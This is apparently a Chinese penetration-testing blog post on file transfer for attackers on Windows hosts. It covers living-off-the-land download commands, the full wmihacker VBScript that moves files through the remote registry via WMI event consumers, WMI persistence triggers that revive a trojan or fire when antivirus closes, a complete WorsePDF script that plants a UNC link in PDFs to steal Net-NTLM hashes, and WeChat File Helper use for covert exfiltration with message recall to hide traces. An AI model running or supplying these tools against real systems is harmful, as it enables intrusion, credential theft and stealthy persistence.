乐帅照镇楼
文件压缩
这不得不搬出靠山吃山理论了,具体知识库地址:LOLBAS
我们就可以根据windows自带的命令比如tar.exe
tar -cvf <压缩文件名> <文件夹名>
用法基本上和linux中的命令一样,
其实还有windows自带的方式,比如:makecab
命令,可惜只支持单个文件的压缩,格式可以有.rar .zip
都可以
makecab <源文件名> <压缩文件名>
基于windows靠山吃山的文件下载方式
自带命令
原理是调用windows 自带的Run方法,例如
pcalua -m -a http://192.168.18.1/aa.zip
或者是间接通过explorer实现
explorer http://192.168.18.1/aa.zip
但是这个命令得以运行有个前提:就是对方的默认浏览器处于打开状态才不会有察觉到,不然的话会直接从对方桌面弹出浏览器窗口,就会很怪。
你可以使用
tasklist
来检查
基于RPC的下载方式
我这里推荐一个老的项目,360红队的wmihacker
,原理就是调用基于msrpc的wmi远程服务,操纵注册读写实现的,我这里就来带大家解析一下这个工具的源码:
文件上传
Upload函数
upload
函数就是把文件的二进制数据转化成文本然后写入远程注册表
Function Upload(localpath,remotepath)
arrData = ReadBinary(localpath)
Set objRegistry = regWMIService.Get("StdRegProv")
objRegistry.CreateKey HKEY_LM, strKeyPath
retcode = objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE, strKeyPath, strName, arrData)
If (retcode = 0) And (Err.Number = 0) Then
WScript.Echo "Binary value added successfully"
Else
WScript.Echo "An error occurred. Return code: " & retcode
End If
WriteFileFromReg(remotepath)
End Function
其实就是在objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE, strKeyPath, strName, arrData)
这一步上传到了对方机器的注册表中,但是你光写入了注册表还是没有足够的用处,你还还要写到文件里才算完成了传输,在注册表一次性不能写太多,得分多次写入的前提先,我们该咋办能?
WriteFileFromReg
关键是在这个WriteFileFromReg
函数:
Function WriteFileFromReg(file)
Set temp = SubobjSWbemServices.Get("ActiveScriptEventConsumer")
Set asec = temp.spawninstance_
asec.name="Windows COM Config Consumer"
Asec.scriptingengine="vbscript"
Asec.scripttext = "Set objRegistry = GetObject(" & chr(34) & "winmgmts:{impersonationLevel=impersonate}!\\" & chr(34) & " & " & chr(34) & "." & chr(34) & " & " & chr(34) & "\root\default:StdRegProv" & chr(34) & ")"&chr(10)&_
"objRegistry.GetBinaryValue 2147483650," & chr(34) & "SOFTWARE\Classes\hello" & chr(34) & "," & chr(34) & "Part2" & chr(34) & ",strValue"&chr(10)&_
"WriteBinary "&Chr(34)&file&chr(34)&",strValue"&chr(10)&_
"Sub WriteBinary(FileName, Buf)"&chr(10)&_
" Dim I, aBuf, Size, bStream"&chr(10)&_
" Size = UBound(Buf): ReDim aBuf(Size \ 2)"&chr(10)&_
" For I = 0 To Size - 1 Step 2"&chr(10)&_
" aBuf(I \ 2) = ChrW(Buf(I + 1) * 256 + Buf(I))"&chr(10)&_
" Next"&chr(10)&_
" If I = Size Then aBuf(I \ 2) = ChrW(Buf(I))"&chr(10)&_
" aBuf=Join(aBuf, " & chr(34) & "" & chr(34) & ")"&chr(10)&_
" Set bStream = CreateObject(" & chr(34) & "ADODB.Stream" & chr(34) & ")"&chr(10)&_
" bStream.Type = 1: bStream.Open"&chr(10)&_
" With CreateObject(" & chr(34) & "ADODB.Stream" & chr(34) & ")"&chr(10)&_
" .Type = 2 : .Open: .WriteText aBuf"&chr(10)&_
" .Position = 2: .CopyTo bStream: .Close"&chr(10)&_
" End With"&chr(10)&_
" bStream.SaveToFile FileName, 2: bStream.Close"&chr(10)&_
" Set bStream = Nothing"&chr(10)&_
"End Sub"
set asecpath=asec.put_
Set temp = SubobjSWbemServices.Get("__EventFilter")
set evtflt = temp.spawninstance_
evtflt.name="Windows COM Config Filter"
evtflt.EventNameSpace="root\cimv2"
qstr = "SELECT * FROM __InstanceModificationEvent WITHIN 1 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
evtflt.query=qstr
evtflt.querylanguage="wql"
set fltpath=evtflt.put_
Set temp = SubobjSWbemServices.Get("__FilterToConsumerBinding")
set fcbnd = temp.spawninstance_
fcbnd.consumer=asecpath.path
fcbnd.filter=fltpath.path
fcbnd.put_
WScript.Sleep 2000 ' 2 sec
evtflt.delete_
asec.delete_
fcbnd.delete_
ReplacedFile = Replace(file,"\","\\")
strQuery = "SELECT * FROM CIM_DataFile where name="&chr(34)&ReplacedFile&chr(34)
Dim done
done = false
Do Until done
Wscript.Sleep 2000
Set colItems = objWMIService.ExecQuery(strQuery, "WQL", wbemFlagReturnImmediately + wbemFlagForwardOnly)
For Each objItem in colItems
WScript.Echo "WMIHACKER : File Upload Success. "
done = true
Next
loop
End Function
这个函数第一步就是去往对方机器的内存中写入一个vbs脚本具体源码如下:
Set objRegistry = GetObject("winmgmts:{impersonationLevel=impersonate}!\\" & "." & "\root\default:StdRegProv")
objRegistry.GetBinaryValue 2147483650,"SOFTWARE\Classes\hello","Part2",strValue
WriteBinary "",strValue
Sub WriteBinary(FileName, Buf)
Dim I, aBuf, Size, bStream
Size = UBound(Buf): ReDim aBuf(Size \ 2)
For I = 0 To Size - 1 Step 2
aBuf(I \ 2) = ChrW(Buf(I + 1) * 256 + Buf(I))
Next
If I = Size Then aBuf(I \ 2) = ChrW(Buf(I))
aBuf=Join(aBuf, "")
Set bStream = CreateObject("ADODB.Stream")
bStream.Type = 1: bStream.Open
With CreateObject("ADODB.Stream")
.Type = 2 : .Open: .WriteText aBuf
.Position = 2: .CopyTo bStream: .Close
End With
bStream.SaveToFile FileName, 2: bStream.Close
Set bStream = Nothing
End Sub
这个在对方机器运行脚本的作用就是去把当前的存放在注册表中的str值解析,以流得形式存放到了本地文件里,然后WriteFileFromReg
函数会去把这个脚本绑定到系统事件用于执行:
Set temp = SubobjSWbemServices.Get("__EventFilter")
set evtflt = temp.spawninstance_
evtflt.name="Windows COM Config Filter"
evtflt.EventNameSpace="root\cimv2"
qstr = "SELECT * FROM __InstanceModificationEvent WITHIN 1 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
evtflt.query=qstr
evtflt.querylanguage="wql"
set fltpath=evtflt.put_
关键的wql事件:
SELECT * FROM __InstanceModificationEvent WITHIN 1 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'
这个__InstanceModificationEvent
的意思就是去检测系统时间一旦改变就触发该时间,但是我们只需要触发一次就够了,算上之前创建到生效的时间,我们等两秒删掉这些定时任务就可以了:
Do Until done
Wscript.Sleep 2000
Set colItems = objWMIService.ExecQuery(strQuery, "WQL", wbemFlagReturnImmediately + wbemFlagForwardOnly)
For Each objItem in colItems
WScript.Echo "WMIHACKER : File Upload Success. "
done = true
Next
loop
End Function
顺带一提,基于WMI+消费者的绑定的操作也是个不错的持久化手段,只要我配置足够合适的wql事件,比如:
SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name = '360.exe'
只要360.exe被关闭,我就出来活动出来(坏笑.jpg)
当然还有:
SELECT * FROM __InstanceCreationEvent WITHIN 1 WHERE TargetInstance ISA 'Win32_NetworkConnection' AND TargetInstance.Name = 'www.bilibili.com'
只要你摸鱼刷b站就制裁你
SELECT * FROM __InstanceModificationEvent WITHIN 1 WHERE TargetInstance ISA 'CIM_DataFile' AND TargetInstance.Name = 'C:\\Temp\\muma.exe'
只要你敢修改我的木马我就复活,触发wmi任务堂堂复活,当然wmi足够单开一篇博客细讲了,这里就不接着跑题了
文件下载
这个实现方式也一样,同样的思路,只不过反了过来,我先把文件的内容写到注册表里面,然后在从注册表里面去读取,最后清理文件。
Function ReadFileFromReg(file)
Set temp = SubobjSWbemServices.Get("ActiveScriptEventConsumer")
Set asec = temp.spawninstance_
asec.name="Windows COM Config Consumer"
Asec.scriptingengine="vbscript"
Asec.scripttext = "arrData=ReadBinary(" & chr(34) & file & chr(34) & ")"&chr(10)&_
"Set objRegistry = GetObject(" & chr(34) & "winmgmts:{impersonationLevel=impersonate}!\\" & chr(34) & " & " & chr(34) & "." & chr(34) & " & " & chr(34) & "\root\default:StdRegProv" & chr(34) & ")"&chr(10)&_
"objRegistry.CreateKey 2147483650, " & chr(34) & "SOFTWARE\Classes\hello" & chr(34) & ""&chr(10)&_
"retcode = objRegistry.SetBinaryValue(2147483650, " & chr(34) & "SOFTWARE\Classes\hello" & chr(34) & "," & chr(34) & "Part2" & chr(34) & ", arrData)"&chr(10)&_
"Function ReadBinary(FileName)"&chr(10)&_
" Dim Buf(), I"&chr(10)&_
" With CreateObject(" & chr(34) & "ADODB.Stream" & chr(34) & ")"&chr(10)&_
" .Mode = 3: .Type = 1: .Open: .LoadFromFile FileName"&chr(10)&_
" ReDim Buf(.Size - 1)"&chr(10)&_
" For I = 0 To .Size - 1: Buf(I) = AscB(.Read(1)): Next"&chr(10)&_
" .Close"&chr(10)&_
" End With"&chr(10)&_
" ReadBinary = Buf"&chr(10)&_
"End Function"
set asecpath=asec.put_
Set temp = SubobjSWbemServices.Get("__EventFilter")
set evtflt = temp.spawninstance_
evtflt.name="Windows COM Config Filter"
evtflt.EventNameSpace="root\cimv2"
qstr = "SELECT * FROM __InstanceModificationEvent WITHIN 1 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
evtflt.query=qstr
evtflt.querylanguage="wql"
set fltpath=evtflt.put_
Set temp = SubobjSWbemServices.Get("__FilterToConsumerBinding")
set fcbnd = temp.spawninstance_
fcbnd.consumer=asecpath.path
fcbnd.filter=fltpath.path
fcbnd.put_
WScript.Sleep 2000
evtflt.delete_
asec.delete_
fcbnd.delete_
ReplacedFile = Replace(file,"\","\\")
strQuery = "SELECT * FROM CIM_DataFile where name="&chr(34)&ReplacedFile&chr(34)
WScript.Echo "Read File To Reg Success"
End Function
Function Download(localpath,remotepath)
ReadFileFromReg(remotepath)
Set objRegistry = regWMIService.Get("StdRegProv")
retcode = objRegistry.GetBinaryValue(HKEY_LOCAL_MACHINE, strKeyPath, strName, arrData)
WriteBinary localpath, arrData
Wscript.Echo "File Download Success"
End Function
类比上面文件上传的例子你应该明白了,这就不多讲了
基于SMB的文件传输方式
其实这个是非常经典的操作了,这个相对于其他文件传输的优势在于我们能够通过挂载远程磁盘的方式来实现远程文件,你可以直接打开远程的文件,不需要先下载到本地上来,甚至执行exe,但有利有弊,这个的问题在于动静太大了,会留下不少日志就是
服务端准备
这里是使用impacket工具包,如果你没有的可以pip install impacket
装一个
smbserver.py -smb2support shareName sharePath
客户端准备
你可以直接通过vbs调用com组件挂载
Set objNetwork = CreateObject("WScript.Network")
objNetwork.MapNetworkDrive "Z:", "\\192.168.1.100\SharedFolder", False, "username", "password"
也可以直接cmd命令(如果杀软没有禁用的话)
net use Z: \\\\192.168.1.100\\SharedFolder /user:username password
cd Z:
还有Powershell自带的命令
New-PSDrive -Name Z -PSProvider FileSystem -Root "\\192.168.1.100\SharedFolder" -Credential (Get-Credential)
花絮
其实这个smbserver还有不一样的操作,可以用来偷哈希,渗透技巧——利用PDF文件获取Net-NTLM hash
import sys
def AddPayload(Data,ip):
Payload = '/AA <</O <</F (\\\\\\\\' + ip + '\\\\test)/D [ 0 /Fit]/S /GoToE>>>>'
index1 = Data.find('/Parent') + 13
# print "%x" % index1
Newdata = Data[0:index1] + Payload + Data[index1:]
return Newdata
if __name__ == "__main__":
print "WorsePDF - Turn a normal PDF file into malicious.Use to steal Net-NTLM Hashes from windows machines."
print "Reference :"
print " https://research.checkpoint.com/ntlm-credentials-theft-via-pdf-files/"
print " https://github.com/deepzec/Bad-Pdf"
print "Author: 3gstudent\n"
if len(sys.argv)!=3:
print ('Usage:')
print (' WorsePDF.py <normal PDF file Path> <ServerIP>')
sys.exit(0)
print "[*]NormalPDF: %s" % sys.argv[1]
print "[*]ServerIP: %s" % sys.argv[2]
file_object = open(sys.argv[1],'rb')
try:
all_the_text = file_object.read( )
finally:
file_object.close()
Newdata = AddPayload(all_the_text,sys.argv[2])
MaliciousPath = sys.argv[1] + '.malicious.pdf'
print "[+]MaliciousPDF: %s" % MaliciousPath
file_object2 = open(MaliciousPath, 'wb')
file_object2.write(Newdata)
file_object2.close()
print "[*]All Done"
基于第三方的一下文件传输
基于微信文件传输助手
核心原理就是去模拟用户去访问微信文件传输助手,类似与一个爬虫,模拟用户操作:https://szfilehelper.weixin.qq.com/
这里推荐这个开源项目:https://github.com/zzzzls/WXFileHelper
我自己在那个WxFileHelper类中添加了这些内容,就可以下载传输图片
def receive_msg(self):
"""
接收消息
"""
url = f"{WX_FILEHELPER_HOST}/cgi-bin/mmwebwx-bin/webwxsync"
params = {'sid': self.sid, 'skey': self.skey,
'pass_ticket': self.pass_ticket}
json_data = {"BaseRequest": self.generate_base_request(),
"SyncKey": self.sync_key}
resp = self.wx_req.fetch(
url, method="post", params=params, json=json_data)
if resp:
# 直接调用 resp.json() 中文消息出现乱码
data = json.loads(resp.content.decode('utf-8'))
if data['BaseResponse']['Ret'] == 0:
if data['AddMsgList']:
for msg in data['AddMsgList']:
msg_type = msg['MsgType']
if msg_type == 1:
# 文本消息
print(f"文本消息: {msg['Content']}")
elif msg_type == 3:
# 图片消息
print("收到一张图片消息")
self.handle_file_msg(msg)
elif msg_type == 49:
# 文件消息
print("收到一个文件消息")
self.handle_file_msg(msg)
self.sync_key = data['SyncKey']
else:
raise ValueError("Webwxsync failed")
def handle_file_msg(self, msg):
"""
处理文件或图片消息
:param msg: 消息内容
"""
media_id = msg['MediaId']
# print(msg)
if msg['MsgType'] == 3:
msg_id = msg['MsgId']
skey=self.skey
downurl=f"?MsgID={msg_id}&skey={skey}&mmweb_appid=wx_webfilehelper"
downurl=f"{WX_FILEHELPER_HOST}/cgi-bin/mmwebwx-bin/webwxgetmsgimg??MsgID={msg_id}&skey={skey}&mmweb_appid=wx_webfilehelper"
print(downurl)
resp=self.wx_req.fetch(downurl)
if resp:
if not os.path.exists(f'./images'):
os.mkdir('./images')
with open(f'./images/{msg["MsgId"]}','wb') as f:
output=resp.content
f.write(output)
print(f"下载成功,保存到./images/{msg['MsgId']}{get_image_type(BytesIO(resp.content))}'")
return
elif msg['MsgType'] == 49:
downurl=f"{WX_FILEHELPER_HOST}/cgi-bin/mmwebwx-bin/webwxgetmedia?MsgID={msg_id}&skey={skey}&mmweb_appid=wx_webfilehelper"
当然你也可以利用微信的特性默认接受200M大小一下的文件,直接发给对象并且撤回来隐藏踪迹。